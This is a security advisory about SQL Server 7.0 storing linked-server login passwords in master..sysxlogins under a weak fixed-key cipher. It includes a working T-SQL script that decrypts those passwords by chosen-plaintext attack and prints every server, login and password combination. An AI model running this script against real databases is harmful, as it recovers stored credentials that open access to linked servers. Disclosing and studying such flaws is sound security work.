COMMAND
SQL
SYSTEMS AFFECTED
SQL Server 7.0
PROBLEM
Blake Coverett found following. SQL Server 7 introduces the
ability to link servers. If the remote server is also running
SQL Server 7 security credentials can be passed through in some
unspecified way. If the remote server is anything else, included
SQL Server 6.5, linked logins must be setup to map local logins
to the login name and password to be used on the remote server.
These linked logins and passwords are stored in the
master..sysxlogins table. The passwords are encrypted with a
new, undocumented, built-in function called encrypt() before
being stored in the password attribute of this table.
The SQL Server 7 encrypt() function uses an unknown byte-wise
stream cipher with a fixed key. That is trivial to break with a
chosen plaintext attack and such an attack is always available.
The sample code below lists all the server, login, password
combinations in the table. Note: deducing a way to decode this
algorithm required only an examination of the output for selected
inputs, no reverse engineering of the algorithm itself was
required. It is not strictly an XOR against some fixed set of
bytes, but still no excuse for not using a well-known block
cipher, preferably with a machine specific key stored with the
LSA secrets.
By default the master..sysxlogins table is only readable with dbo
rights in master and there is no reason to expect administrators
will have relaxed these permissions. There is no obvious exposure
from unprivileged accounts, but the clear text of the passwords
are visible to anyone with admin privileges in the database. This
is a bad thing for all the classic reasons.
Sample code: */
set nocount on
declare pwd cursor for
select s.srvname, l.name, l.password from master..sysservers s
join master..sysxlogins l on s.srvid = l.srvid where l.sid is not null
for read only
declare @server varchar(256), @login varchar(256)
declare @password varbinary(256), @pwdtext nvarchar(128)
declare @i int, @lsb tinyint, @msb tinyint, @tmp varbinary(256)
open pwd
fetch from pwd into @server, @login, @password
while @@fetch_status = 0
begin
set @i = 0
set @pwdtext = N''
while @i < datalength(@password)
begin
set @tmp = encrypt(@pwdtext + nchar(0))
set @lsb = convert(tinyint, substring(@tmp, @i + 1, 1))
^ convert(tinyint, substring(@password, @i + 1, 1))
set @i = @i + 1
set @tmp = encrypt(@pwdtext + nchar(@lsb))
set @msb = convert(tinyint, substring(@tmp, @i + 1, 1))
^ convert(tinyint, substring(@password, @i + 1, 1))
set @i = @i + 1
set @pwdtext = @pwdtext + nchar(convert(smallint, @lsb)
+ 256 * convert(smallint, @msb))
end
print @server + ', ' + @login + ', ' + @pwdtext
fetch from pwd into @server, @login, @password
end
deallocate pwd
SOLUTION
Nothing yet.